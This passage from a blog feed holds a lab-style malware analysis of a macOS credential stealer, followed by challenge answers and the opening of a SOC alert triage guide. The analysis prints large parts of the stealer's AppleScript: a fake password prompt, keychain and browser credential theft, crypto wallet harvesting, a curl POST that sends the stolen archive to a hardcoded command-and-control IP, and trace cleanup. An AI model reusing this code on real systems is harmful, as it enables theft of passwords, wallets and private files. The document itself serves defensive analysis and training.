repeat<br>                                end try<br>                        end try<br>                        try<br>                                set desktopFiles to every file of desktop<br>                                set documentsFiles to every file of folder &quot;Documents&quot; of (path to home folder)<br>                                set downloadsFiles to every file of folder &quot;Downloads&quot; of (path to home folder)<br>                                repeat with aFile in (desktopFiles &amp; documentsFiles &amp; downloadsFiles)<br>                                        set fileExtension to name extension of aFile<br>                                        if fileExtension is in extensionsList then<br>                                                set filesize to size of aFile<br>                                                if (bankSize + filesize) &lt; 10 * 1024 * 1024 then<br>                                                        try<br>                                                                duplicate aFile to folder destinationFolderPath with replacing<br>                                                                set bankSize to bankSize + filesize<br>                                                        end try<br>                                                else<br>                                                        exit repeat<br>                                                end if<br>                                        end if<br>                                end repeat<br>                        end try<br>                end tell<br>        end try<br>end filegrabber<br>on send_data(attempt)<br> try<br>  set result_send to (do shell script &quot;curl -X POST -H \&quot;uuid: 399122bdb9844f7d934631745e22bd06\&quot; -H \&quot;user: H1N1_Group\&quot; -H \&quot;buildid: id777\&quot; --data-binary @/tmp/out.zip http://79.137.192.4/p2p&quot;)<br> on error<br>  if attempt &lt; 10 then<br>   delay 60<br>   send_data(attempt + 1)<br>  end if<br> end try<br>end send_data<br>on VPN(writemind, vpn_dirs)<br>end VPN<br>set username to (system attribute &quot;USER&quot;)<br>set profile to &quot;/Users/&quot; &amp; username<br>set writemind to &quot;/tmp/xuyna/&quot;<br>try<br>        set result to (do shell script &quot;system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType&quot;)<br>        writeText(result, writemind &amp; &quot;user&quot;)<br>end try<br>set library to profile &amp; &quot;/Library/Application Support/&quot;<br>set password_entered to getpwd(username, writemind)<br>delay 0.01<br>set chromiumMap to {{&quot;Chrome&quot;, library &amp; &quot;Google/Chrome/&quot;}, {&quot;Brave&quot;, library &amp; &quot;BraveSoftware/Brave-Browser/&quot;}, {&quot;Edge&quot;, library &amp; &quot;Microsoft Edge/&quot;}, {&quot;Vivaldi&quot;, library &amp; &quot;Vivaldi/&quot;}, {&quot;Opera&quot;, library &amp; &quot;com.operasoftware.Opera/&quot;}, {&quot;OperaGX&quot;, library &amp; &quot;com.operasoftware.OperaGX/&quot;}, {&quot;Chrome Beta&quot;, library &amp; &quot;Google/Chrome Beta/&quot;}, {&quot;Chrome Canary&quot;, library &amp; &quot;Google/Chrome Canary&quot;}, {&quot;Chromium&quot;, library &amp; &quot;Chromium/&quot;}, {&quot;Chrome Dev&quot;, library &amp; &quot;Google/Chrome Dev/&quot;}}<br>set walletMap to {{&quot;deskwallets/Electrum&quot;, profile &amp; &quot;/.electrum/wallets/&quot;}, {&quot;deskwallets/Coinomi&quot;, library &amp; &quot;Coinomi/wallets/&quot;}, {&quot;deskwallets/Exodus&quot;, library &amp; &quot;Exodus/&quot;}, {&quot;deskwallets/Atomic&quot;, library &amp; &quot;atomic/Local Storage/leveldb/&quot;}, {&quot;deskwallets/Wasabi&quot;, profile &amp; &quot;/.walletwasabi/client/Wallets/&quot;}, {&quot;deskwallets/Ledger_Live&quot;, library &amp; &quot;Ledger Live/&quot;}, {&quot;deskwallets/Monero&quot;, profile &amp; &quot;/Monero/wallets/&quot;}, {&quot;deskwallets/Bitcoin_Core&quot;, library &amp; &quot;Bitcoin/wallets/&quot;}, {&quot;deskwallets/Litecoin_Core&quot;, library &amp; &quot;Litecoin/wallets/&quot;}, {&quot;deskwallets/Dash_Core&quot;, library &amp; &quot;DashCore/wallets/&quot;}, {&quot;deskwallets/Electrum_LTC&quot;, profile &amp; &quot;/.electrum-ltc/wallets/&quot;}, {&quot;deskwallets/Electron_Cash&quot;, profile &amp; &quot;/.electron-cash/wallets/&quot;}, {&quot;deskwallets/Guarda&quot;, library &amp; &quot;Guarda/&quot;}, {&quot;deskwallets/Dogecoin_Core&quot;, library &amp; &quot;Dogecoin/wallets/&quot;}, {&quot;deskwallets/Trezor_Suite&quot;, library &amp; &quot;@trezor/suite-desktop/&quot;}}<br>readwrite(library &amp; &quot;Binance/app-store.json&quot;, writemind &amp; &quot;deskwallets/Binance/app-store.json&quot;)<br>readwrite(library &amp; &quot;@tonkeeper/desktop/config.json&quot;, &quot;deskwallets/TonKeeper/config.json&quot;)<br>readwrite(profile &amp; &quot;/Library/Keychains/login.keychain-db&quot;, writemind &amp; &quot;keychain&quot;)<br>if release then<br>        readwrite(profile &amp; &quot;/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite&quot;, writemind &amp; &quot;FileGrabber/NoteStore.sqlite&quot;)<br>        readwrite(profile &amp; &quot;/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal&quot;, writemind &amp; &quot;FileGrabber/NoteStore.sqlite-wal&quot;)<br>        readwrite(profile &amp; &quot;/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm&quot;, writemind &amp; &quot;FileGrabber/NoteStore.sqlite-shm&quot;)<br>        readwrite(profile &amp; &quot;/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies&quot;, writemind &amp; &quot;FileGrabber/Cookies.binarycookies&quot;)<br>        readwrite(profile &amp; &quot;/Library/Cookies/Cookies.binarycookies&quot;, writemind &amp; &quot;FileGrabber/saf1&quot;)<br>end if<br>if filegrabbers then<br>        filegrabber()<br>end if<br>writeText(username, writemind &amp; &quot;username&quot;)<br>set ff_paths to {library &amp; &quot;Firefox/Profiles/&quot;, library &amp; &quot;Waterfox/Profiles/&quot;, library &amp; &quot;Pale Moon/Profiles/&quot;}<br>repeat with firefox in ff_paths<br>        try<br>                parseFF(firefox, writemind)<br>        end try<br>end repeat<br>chromium(writemind, chromiumMap)<br>deskwallets(writemind, walletMap)<br>--GrabFolderLimit(&quot;/tmp/photos/&quot;, writemind &amp; &quot;FileGrabber/NotesPhoto/&quot;)<br>--set vpns to {{&quot;OpenVPN&quot;, library &amp; &quot;OpenVPN Connect/profiles/&quot;}}<br>--readwrite(&quot;/Library/Application Support/Fortinet/FortiClient/conf/vpn.plist&quot;, writemind &amp; &quot;vpn/FortiVPN/vpn.plist&quot;)<br>do shell script &quot;ditto -c -k --sequesterRsrc &quot; &amp; writemind &amp; &quot; /tmp/out.zip&quot;<br>send_data(0)<br>do shell script &quot;rm -r &quot; &amp; writemind<br>do shell script &quot;rm -r /tmp/photos&quot;<br>do shell script &quot;rm /tmp/out.zip&quot;<br>&#39; &amp;</pre><blockquote>AppleScript code ↑</blockquote><p>Understanding this malware wasn’t easy for me. The code logic itself isn’t too complicated, but I did run into some issues when I tried to explain the flow of the malware step by step. The code looks kind of messy, so I’ll do my best to make sure you can follow it easily.</p><blockquote>Note: I’ll walk through this section step by step, since that’s honestly the simplest way to show how it works or interacts with the system.<br>Yes, the explanation gets a bit long (trust me, I know). If you want something shorter, you can check out the “<strong>Poseidon macOS Stealer — General Overview</strong>” section at the start of this report.</blockquote><blockquote>The point here is to break down and explain the code as clearly as possible, making sure nothing important gets left out.</blockquote><h3>𝐒𝐭𝐞𝐩 𝐁𝐲 𝐒𝐭𝐞𝐩 𝐁𝐫𝐞𝐚𝐤𝐃𝐨𝐰𝐧:</h3><p><em>Before we get started, just a quick note. You’ll probably notice that while I’m explaining the code, I jump around between different functions. <br>For example:</em></p><pre>set password_entered to getpwd(username, writemind)<br><br>on getpwd(username, writemind)<br>    repeat<br>        set result .........</pre><p><em>This happens because, like I mentioned earlier, the malware is kind of messy. The execution actually begins at the bottom, but most functions are defined up at the top. So, I’m always going back and forth between where a function gets called, like </em><strong>“set password_entered to getpwd(username, writemind)”</strong><em> and the function itself, like<br></em><strong>“on getpwd(username, writemind)<br> repeat<br> set result ……”</strong></p><h3>𝟏. 𝐌𝐚𝐥𝐰𝐚𝐫𝐞 𝐄𝐱𝐞𝐜𝐮𝐭𝐢𝐨𝐧 𝐖𝐨𝐫𝐤𝐟𝐥𝐨𝐰</h3><h4><strong>1.1 Initial System Setup and Profiling:</strong></h4><p>The malware starts by checking the target environment and picking up some basic system info</p><pre>set username to (system attribute &quot;USER&quot;)<br>set profile to &quot;/Users/&quot; &amp; username<br>set writemind to &quot;/tmp/xuyna/&quot;</pre><p>Right after that, it collects more detailed information about the system</p><pre>try<br>    set result to (do shell script &quot;system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType&quot;)<br>    writeText(result, writemind &amp; &quot;user&quot;)<br>end try</pre><p>What this does is set up the user’s profile path (l<strong>ike /Users/‘username’</strong>), creates a temporary directory at <strong>/tmp/xuyna/</strong> (that’s <strong>writemind</strong>), and collects detailed system information including software versions, hardware specifications, and display configurations.</p><h4>1.2 Privilege Escalation via Social Engineering</h4><p>The next step is all about getting user credentials through deception</p><pre>set password_entered to getpwd(username, writemind)<br><br>-----------------------<br><br>on getpwd(username, writemind)<br>    repeat<br>        set result to display dialog &quot;Required Application Helper. Please enter password for continue.&quot; <br>            default answer &quot;&quot; with icon caution buttons {&quot;Continue&quot;} default button &quot;Continue&quot; <br>            giving up after 150 with title &quot;Application wants to install helper&quot; with hidden answer<br>        set password_entered to text returned of result<br>        if checkvalid(username, password_entered) then<br>            writeText(password_entered, writemind &amp; &quot;pwd&quot;)<br>            return password_entered<br>        end if<br>    end repeat<br>end getpwd</pre><p>This function creates a fake system dialog that looks like a real macOS security prompt, trying to trick users into entering their password.</p><h4>1.3 Application Support Directory Mapping</h4><p>After getting credentials, the malware sets up the paths to important application directories (Chromium browsers and crypto wallets) which it plans to target later</p><pre>set library to profile &amp; &quot;/Library/Application Support/&quot;<br>set chromiumMap to {{&quot;Chrome&quot;, library &amp; &quot;Google/Chrome/&quot;}, {&quot;Brave&quot;, library &amp; &quot;BraveSoftware/Brave-Browser/&quot;}, <br>                    {&quot;Edge&quot;, library &amp; &quot;Microsoft Edge/&quot;}, {&quot;Vivaldi&quot;, library &amp; &quot;Vivaldi/&quot;}}<br>set walletMap to {{&quot;deskwallets/Electrum&quot;, profile &amp; &quot;/.electrum/wallets/&quot;}, <br>                  {&quot;deskwallets/Coinomi&quot;, library &amp; &quot;Coinomi/wallets/&quot;}}</pre><p>By doing this, the malware knows where to look for key files it wants to take, like browsing data or wallet information.</p><h4>1.4 High-Value Target Extraction</h4><p>The malware quickly goes after high-value data, focusing first on cryptocurrency exchange and wallet info</p><pre>readwrite(library &amp; &quot;Binance/app-store.json&quot;, writemind &amp; &quot;deskwallets/Binance/app-store.json&quot;)<br>readwrite(library &amp; &quot;@tonkeeper/desktop/config.json&quot;, &quot;deskwallets/TonKeeper/config.json&quot;)<br>readwrite(profile &amp; &quot;/Library/Keychains/login.keychain-db&quot;, writemind &amp; &quot;keychain&quot;)</pre><p>This step puts the most important data at the top of the list, targeting exchange configurations and the keychain where passwords and sensitive information are stored.</p><h4>1.5 Safari and Apple Notes Data Extraction</h4><p>The malware then goes after some native macOS applications.</p><pre>if release then<br>    readwrite(profile &amp; &quot;/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite&quot;, writemind &amp; &quot;FileGrabber/NoteStore.sqlite&quot;)<br>    readwrite(profile &amp; &quot;/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal&quot;, writemind &amp; &quot;FileGrabber/NoteStore.sqlite-wal&quot;)<br>    readwrite(profile &amp; &quot;/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm&quot;, writemind &amp; &quot;FileGrabber/NoteStore.sqlite-shm&quot;)<br>    readwrite(profile &amp; &quot;/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies&quot;, writemind &amp; &quot;FileGrabber/Cookies.binarycookies&quot;)<br>end if</pre><p>This process <strong>extracts</strong> the <strong>full Apple Notes database</strong> (including WAL (write-ahead logging) and SHM (shared memory) files) and Safari cookies.</p><h4>1.6 File Grabbing Operation</h4><p>If enabled (which, as set at the start of the code, it is), the malware goes through your user directories and collects files.</p><pre>if filegrabbers then<br>    filegrabber()<br>end if<br><br>-----------------------<br><br>on filegrabber()<br>    set destinationFolderPath to POSIX file &quot;/tmp/xuyna/FileGrabber/&quot;<br>    set photosPath to POSIX file &quot;/tmp/photos&quot;<br>    mkdir(photosPath)<br>    mkdir(destinationFolderPath)<br>    set extensionsList to {&quot;txt&quot;, &quot;rtf&quot;, &quot;key&quot;, &quot;keys&quot;, &quot;png&quot;, &quot;jpg&quot;, &quot;jpeg&quot;, &quot;wallet&quot;, &quot;doc&quot;, &quot;docx&quot;, &quot;kdbx&quot;, &quot;pdf&quot;}<br>    set bankSize to 0<br>    ......<br>    duplicate file (safariFolderPath &amp; &quot;Cookies.binarycookies&quot;) to folder destinationFolderPath with replacing<br>    ......<br>    set notesFiles to {file &quot;NoteStore.sqlite&quot;, file &quot;NoteStore.sqlite-shm&quot;, file &quot;NoteStore.sqlite-wal&quot;} of notesFolder<br>    repeat with aFile in notesFiles<br>        try<br>            duplicate aFile to folder destinationFolderPath with replacing<br>        end try<br>    end repeat<br>    ......<br>    set desktopFiles to every file of desktop<br>    set documentsFiles to every file of folder &quot;Documents&quot; of (path to home folder)<br>    set downloadsFiles to every file of folder &quot;Downloads&quot; of (path to home folder)<br>    repeat with aFile in (desktopFiles &amp; documentsFiles &amp; downloadsFiles)<br>        set fileExtension to name extension of aFile<br>        if fileExtension is in extensionsList then<br>            set filesize to size of aFile<br>            if (bankSize + filesize) &lt; 10 * 1024 * 1024 then<br>                try<br>                    duplicate aFile to folder destinationFolderPath with replacing<br>                    set bankSize to bankSize + filesize<br>                end try<br>            else<br>                exit repeat<br>            end if<br>        end if<br>    end repeat</pre><p>Kinda long right <strong>🥴↑</strong> Did my best to summaryze</p><p>This function creates two temporary folders (<strong>/tmp/xuyna/FileGrabber/ </strong>and <strong>/tmp/photos</strong>).<br>Then, it tries to extract Safari cookies from two possible locations, renaming one of the stolen files to<strong> saf1</strong>. After that, it targets Apple Notes data by trying to copy the files <strong>NoteStore.sqlite</strong>, <strong>NoteStore.sqlite-shm</strong>, and <strong>NoteStore.sqlite-wal</strong>.<br>Once that’s done, it looks through the <strong>Desktop</strong>, <strong>Documents</strong>, and <strong>Downloads</strong> folders for files with these extensions:<strong><em> txt</em></strong><em>, </em><strong><em>rtf</em></strong><em>, </em><strong><em>key</em></strong><em>, </em><strong><em>keys</em></strong><em>, </em><strong><em>png</em></strong><em>, </em><strong><em>jpg</em></strong><em>,</em><strong><em> jpeg</em></strong><em>, </em><strong><em>wallet</em></strong><em>, </em><strong><em>doc</em></strong><em>, </em><strong><em>docx</em></strong><em>, </em><strong><em>kdbx</em></strong><em>, and </em><strong><em>pdf</em></strong><em>.</em> It only copies files that match the extension list and keep the total stolen size under 10MB to avoid detection during exfiltration. All selected files are stored in <strong>/tmp/xuyna/FileGrabber/</strong>, to reduce exfiltration time.</p><h4>1.7 Username Documentation</h4><p>The malware records the compromised username. basic but effective way to track who’s been infected</p><pre>writeText(username, writemind &amp; &quot;username&quot;)</pre><h4>1.8 Firefox Browser Data Extraction</h4><p>It processes Firefox-based browsers by searching through various browser profiles. It looks at <strong>Firefox</strong>, <strong>Waterfox</strong>, and <strong>Pale Moon</strong></p><pre>set ff_paths to {library &amp; &quot;Firefox/Profiles/&quot;, library &amp; &quot;Waterfox/Profiles/&quot;, library &amp; &quot;Pale Moon/Profiles/&quot;}<br>repeat with firefox in ff_paths<br>    try<br>        parseFF(firefox, writemind)<br>    end try<br>end repeat<br><br>-----------------------<br><br>on parseFF(firefox, writemind)<br>    set myFiles to {&quot;/cookies.sqlite&quot;, &quot;/formhistory.sqlite&quot;, &quot;/key4.db&quot;, &quot;/logins.json&quot;}<br>    repeat with currentItem in fileList<br>        firewallets(firefox &amp; currentItem, writemind, currentItem)<br>        set fpath to writemind &amp; &quot;ff/&quot; &amp; currentItem</pre><p>This collects cookies, form history, encryption keys, and stored logins.</p><pre>on firewallets(firepath, writemind, profile)<br>        try<br>                set fire_wallets to {{&quot;MetaMask&quot;, &quot;webextension@metamask.io\\\&quot;:\\\&quot;&quot;}}<br>                repeat with wallet in fire_wallets<br>                        set uuid to GetUUID(firepath &amp; &quot;/prefs.js&quot;, item 2 of wallet)<br>                        if uuid is not &quot;not found&quot; then<br>                                set walkpath to firepath &amp; &quot;/storage/default/&quot;</pre><p>When parsing Firefox, it also checks for wallet extensions like MetaMask using the <strong>“firewallets”</strong> function. This function searches for the wallet’s <strong>UUID</strong> inside the “<strong>prefs.js”</strong> file found in the <strong>Firefox profile path</strong>.<br>If it detects the UUID, it pulls wallet-specific data stored in the related UUID folder.</p><p>The browser data it collects is saved in the<strong> “ff/”</strong> folder, while the wallet information goes into the “<strong>ffwallets/</strong>”folder.</p><h4>1.9 Chromium-Based Browser Data Extraction</h4><p>After finishing with Firefox, the malware continues to process all Chromium-based browsers</p><pre>chromium(writemind, chromiumMap)<br><br>-----------------------<br><br>on chromium(writemind, chromium_map)<br>    set pluginList to {&quot;keenhcnmdmjjhincpilijphpiohdppno&quot;, &quot;hbbgbephgojikajhfbomhlmmollphcad&quot;, <br>                       &quot;cjmkndjhnagcfbpiemnkdpomccnjblmj&quot;, &quot;dhgnlgphgchebgoemcjekedjjbifijid&quot;}<br>    set chromiumFiles to {&quot;/Network/Cookies&quot;, &quot;/Cookies&quot;, &quot;/Web Data&quot;, &quot;/Login Data&quot;, <br>                          &quot;/Local Extension Settings/&quot;, &quot;/IndexedDB/&quot;}<br>    repeat with chromium in chromium_map<br>                set savePath to writemind &amp; &quot;Chromium/&quot; &amp; item 1 of chromium &amp; &quot;_&quot;</pre><p>Here, the malware extracts browser data and also looks for an extensive list of cryptocurrency wallet extensions (the list above is just a small sample, there are more extensions targeted).<br>The <strong>chromium_map</strong> variable contains pairs where <strong>item 1</strong> is the browser name (e.g., <em>Brave</em>, <em>Chrome</em>, etc.), and<strong> item 2</strong> is the path to that browser’s data. The browser name is used to dynamically generate a subfolder in the <strong>“Chromium/”</strong> directory, where all extracted data for that browser is stored.<br>(If you want to see where these paths come from, check section <strong>“1.3 Application Support Directory Mapping”</strong> or scroll down in the code if you have any doubts).</p><h4>1.10 Desktop Wallet Application Harvesting</h4><p>The malware then goes after desktop cryptocurrency wallet applications</p><pre>deskwallets(writemind, walletMap)<br><br>-----------------------<br><br>on deskwallets(writemind, deskwals)<br>    repeat with deskwal in deskwals<br>        try<br>            GrabFolder(item 2 of deskwal, writemind &amp; item 1 of deskwal)<br>        end try<br>    end repeat</pre><p>This function copies entire directories of desktop cryptocurrency wallets, including Electrum, Coinomi, Exodus, Atomic, and many others.<br>Each wallet’s data gets saved inside the <strong>/tmp/xuyna/deskwallets/…</strong> directory, with subfolders for each wallet type to organize everything for later extraction.<br>The subfolder setup uses the same logic as before: <strong>item 1</strong> is the folder name, <strong>item 2</strong> is the path to the actual wallet files.<br>(Check point <strong>1.3 Application Support Directory Mapping</strong> if you need a refresher.)</p><h4>1.11 Data Compression and Packaging</h4><p>After all the data has been collected, the malware packages everything up.</p><pre>do shell script &quot;ditto -c -k --sequesterRsrc &quot; &amp; writemind &amp; &quot; /tmp/out.zip&quot;</pre><p>This command compresses everything found in “<strong>/tmp/xuyna/”, </strong>including all stolen data and macOS-specific metadata, into a single ZIP archive located at “<strong>/tmp/out.zip”</strong> for efficient transmission.<br>For clarity, the command is used as follows:<br>“ditto -c -k — sequesterRsrc &lt;source&gt; &lt;destination&gt;”</p><h4>1.12 Data Exfiltration with Retry Logic</h4><p>The malware attempts to exfiltrate the collected data</p><pre>send_data(0)<br><br>-----------------------<br><br>on send_data(attempt)<br>    try<br>        set result_send to (do shell script &quot;curl -X POST -H \&quot;uuid: 399122bdb9844f7d934631745e22bd06\&quot; -H \&quot;user: H1N1_Group\&quot; -H \&quot;buildid: id777\&quot; --data-binary @/tmp/out.zip http://79.137.192.4/p2p&quot;)<br>    on error<br>        if attempt &lt; 10 then<br>            delay 60<br>            send_data(attempt + 1)<br>        end if<br>    end try<br>end send_data</pre><p>It uses a retry logic, so if the data doesn’t go through, it’ll wait 60 seconds and try again, up to 10 times total. The request includes headers for identifying the infected machine (<strong>uuid</strong>), the malware campaign or group (<strong>user</strong>), and the malware version (<strong>buildid</strong>).<br>All this is done with a<strong> POST</strong> request, sending the file to the server.</p><h4>1.13 Evidence Cleanup and Termination</h4><p>Finally, the malware removes all traces of its operation</p><pre>do shell script &quot;rm -r &quot; &amp; writemind<br>do shell script &quot;rm -r /tmp/photos&quot;<br>do shell script &quot;rm /tmp/out.zip&quot;</pre><p>This ensures no local evidence remains after successful exfiltration.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>𝟐. 𝐃𝐚𝐭𝐚 𝐒𝐭𝐨𝐫𝐚𝐠𝐞 𝐌𝐞𝐭𝐡𝐨𝐝𝐬</h3><h4>2.1 Temporary Directory Structure</h4><pre>set writemind to &quot;/tmp/xuyna/&quot;</pre><p>The malware creates a temporary directory at “<strong>/tmp/xuyna/”</strong> (stored in the variable <strong>writemind</strong>) to store all collected data, organized into different subdirectories:<br>‣ <strong>ffwallets/</strong> - Firefox wallet extensions<br>‣ <strong>ff/</strong> - Firefox browser data<br>‣ <strong>Chromium/</strong> - Chromium-based browser data<br>‣<strong> deskwallets/ </strong>- Desktop wallet applications<br>‣ <strong>FileGrabber/</strong> - Personal files and system data</p><h3>𝐐𝐮𝐢𝐜𝐤 𝐞𝐱𝐩𝐥𝐚𝐧𝐚𝐭𝐢𝐨𝐧 (𝐣𝐮𝐬𝐭 𝐢𝐧 𝐜𝐚𝐬𝐞)</h3><p><strong>If you already understood how this works, just skip this part…</strong></p><p><em>In the code, there is a variable called </em><strong>writemind</strong><em> that it is used as the base path to build where the extracted data will be saved. For example, when the malware copies desktop wallets, it calls the function:</em></p><pre>deskwallets(writemind, walletMap)</pre><p><em>Here, </em><strong>walletMap</strong><em> is basically a list with pairs of data: the </em><strong>relative folder name</strong><em> where the data will go and the </em><strong>original path</strong><em> where the wallet is located on the infected system.<br>Inside the function, </em><strong>walletMap<em> </em></strong><em>is received under a different name (like </em><strong>deskwals</strong><em>) so it can go through each wallet. Them it runs this line:</em></p><pre>GrabFolder(item 2 of deskwal, writemind &amp; item 1 of deskwal)</pre><p><em>This means it copies the </em><strong>original wallet folder (all the data </strong>🙃<strong>) </strong><em>(</em><strong><em>item 2</em></strong><em> of </em><strong><em>walletMap</em></strong><em>) into a new path inside the staging folder</em><strong><em> </em>/tmp/xuyna/</strong><em> (concatenating </em><strong>writemind</strong><em> with the logical folder name from </em><strong>item 1 of walletMap</strong><em>).</em></p><p><em>For example:</em></p><ul><li>item 1: “deskwallets/Electrum”</li><li>item 2: “/Users/victim/.electrum/wallets/”</li></ul><p><em>So basically, the malware copies everything from </em><strong>/Users/victim/.electrum/wallets/</strong><em> to </em><strong>/tmp/xuyna/deskwallets/Electrum/</strong><em>.</em></p><p><em>In short: the malware keeps all data neatly organized under </em><strong>/tmp/xuyna/</strong><em>, using subfolders with clear names so it can later compress and exfiltrate everything together.</em></p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>𝟑. 𝐒𝐞𝐜𝐮𝐫𝐢𝐭𝐲 𝐈𝐦𝐩𝐚𝐜𝐭 𝐀𝐬𝐬𝐞𝐬𝐬𝐦𝐞𝐧𝐭</h3><h4>3.1 Financial Impact</h4><p>This malware brings serious financial consequences because it targets cryptocurrency assets in a very organized way. It goes after the most valuable items first, so even if the attack gets interrupted, the damage is already significant.</p><h4>3.2 Privacy Violation</h4><p>Privacy risks are high here. The malware collects everything from personal notes to browsing history, giving attackers a full digital profile of the victim.</p><h4>3.3 Identity Theft Risk</h4><p>By collecting system credentials, personal documents, and application data in order, this malware makes identity theft and long-term account compromise much more likely.</p><h4>3.4 Detection Evasion</h4><p>The organized workflow, small file size, and evidence cleanup make this malware hard to detect and difficult to analyze after infection.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>𝐂𝐡𝐚𝐥𝐥𝐞𝐧𝐠𝐞 𝐐𝐮𝐞𝐬𝐭𝐢𝐨𝐧𝐬</h3><p>We finished the malware analysis, breaking down how it works step by step, from collecting data all the way to exfiltration.<br>Let’s move on and answer the challenge questions.</p><p><strong>1. What is the address of the blob of hexadecimal data in the code?<br>Answer: </strong>0x6324</p><blockquote>Go to the part of the code that contains all the hex data hardcoded and copy its address (its 0x100006324 but in letsdefend format its 0x6324)</blockquote><p><strong>2. Which system call is used to execute the AppleScript after it has been converted to a string?<br>Answer: </strong>system</p><blockquote>As we explained at the beggining, on the <strong>_Main Function Overview</strong>, the system call is used to execute the AppleScript</blockquote><p><strong>3. What is the length of the substring extracted as a potential UUID in the GetUUID function?<br>Answer:</strong> 56</p><blockquote>The function extracts a substring starting at uuidStart and ending at uuidStart + 55, which gives a total of 56 characters, just to make sure the full UUID is included in the chunk. After that, it tries to trim any extra data by looking for a \\, but the original slice is always those 56.<br>If you want to double-check, you can look at the GetUUID function in the code (the hex-decoded part). Just find the function, it’s short and easy to spot .</blockquote><p><strong>4. What is the size limit set for copying files set in the GrabFolderLimit function in (MB)?<br>Answer: </strong>10 MB</p><blockquote>You can take a look at the <strong>GrabFolderLimit</strong> function in the decoded script above, but honestly, it doesn’t do much besides putting a 10 MB size limit when copying files. <br>That same logic is already in the “<strong>1.6 File Grabbing Operation</strong>” section, which is where the actual file grabbing happens. <br>If you’re interested, you can check out that section or read the function itself, it’s not very long.</blockquote><p><strong>5. What file does the firewallets function look in to find the UUID for the wallet extension?<br>Answer: </strong>prefs.js</p><blockquote>This point is explained in the section <strong>“1.8 Firefox Browser Data Extraction”</strong>, where it details how the malware scans Firefox profiles and looks inside the “<strong>prefs.js”</strong> file to find the UUID of wallet extensions like MetaMask</blockquote><p><strong>6. What is the function that is used to extract and copy specific files and data from Firefox profiles?<br>Answer: </strong>parseFF</p><blockquote>Same as before, check the section <strong>“1.8 Firefox Browser Data Extraction”,</strong> there you can see the function parseFF beeing called, which handles extracting important files like cookies, form history, and stored logins from Firefox profiles.</blockquote><p><strong>7. What command is executed by the script to retrieve the Chrome master password?</strong><br><strong>Answer: </strong>security 2&gt;&amp;1 &gt; /dev/null find-generic-password -ga “Chrome” | awk “{print $2}”</p><blockquote>This question relates to the section “1.2 Privilege Escalation via Social Engineering” but was not detailed in the analysis, so here its a quick explanation.<br>If you look at the“<strong> getpwd”</strong> function, you’ll see it runs this command:</blockquote><blockquote>security 2&gt;&amp;1 &gt; /dev/null find-generic-password -ga \&quot;Chrome\&quot; | awk \&quot;{print $2}\</blockquote><blockquote>This is just trying to retrive the Chrome master password from the macOS keychain.<br>If that command fails or it can’t get the password right away, the function pops up a prompt and asks the user to enter the password manually, That’s where the social engineering part mentioned in the section comes in.</blockquote><p><strong>8. What is the IP address that the script uses to send the stolen information?<br>Answer: </strong>79.137.192.4</p><blockquote>Check out the “<strong>1.12 Data Exfiltration with Retry Logic</strong>” section, its all detailed in there. You’ll see that the “<strong>curl”</strong> command is used to send the exfiltrated data to “<strong>http://79[.]137[.]192[.]4/p2p</strong>”.</blockquote><p><strong>9. What function was used to extract and copy specific files and plugins from Chromium-based browser profiles?<br>Answer: </strong>chromium</p><blockquote>Check section “1.9 Chromium-Based Browser Data Extraction”, all explained in there in detail</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*vhw85jeUzUCuA8uVHiLtcQ.jpeg" /></figure><p>If you have any questions or corrections, just let me know by reaching out!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a796c85d8c72" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC102 — EventID 22— Suspicious URL Detected]]></title>
            <link>https://medium.com/@MateoPappa/soc102-eventid-22-suspicious-url-detected-f1605d223774?source=rss-70d18e1abaf1------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1605d223774</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[powershell]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[lets-defend]]></category>
            <dc:creator><![CDATA[ ]]></dc:creator>
            <pubDate>Mon, 02 Jun 2025 19:28:52 GMT</pubDate>
            <atom:updated>2025-06-02T19:28:52.617Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC102 — EventID 22— Suspicious URL Detected</h3><p>This is an unofficial guide to analyzing the <strong>SOC102 — EventID 22 — Suspicious URL Detected</strong></p><h3>Alert Details:</h3><pre>EventID :                  22<br>Event Time :               Oct, 25, 2020, 09:26 PM<br>Rule :                     SOC102 - Proxy - Suspicious URL Detected<br>Level :                    Security Analyst<br>Source Address :           172.16.17.56<br>Source Hostname :          Sofia<br>Destination Address :      35.189.10.17<br>Destination Hostname :     stylefix.co<br>Username :                 Sofia2020<br>Request URL :              http://stylefix.co/guillotine-cross/CTRNOQ/<br>User Agent :               Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36<br>Device Action :            Allowed</pre><p>Based on the alert details, it looks like a file got downloaded from a suspicious site.<br>Let’s check the URL on VirusTotal and Hybrid-Analysis to see what we find.</p><h4><a href="https://www.virustotal.com/gui/url/b6267682185447125d614d2ec3347c5cadbb8654b30967ded48d8fd6aeccf4c1/detection">VIRUS TOTAL Report:</a></h4><p><a href="https://www.virustotal.com/gui/url/b6267682185447125d614d2ec3347c5cadbb8654b30967ded48d8fd6aeccf4c1/detection">https://www.virustotal.com/gui/url/b6267682185447125d614d2ec3347c5cadbb8654b30967ded48d8fd6aeccf4c1/detection</a></p><blockquote>Feel free to check it yourself</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*gJ3-bl7LO7EiPe_IA8ApFg.jpeg" /></figure><figure><img alt="" 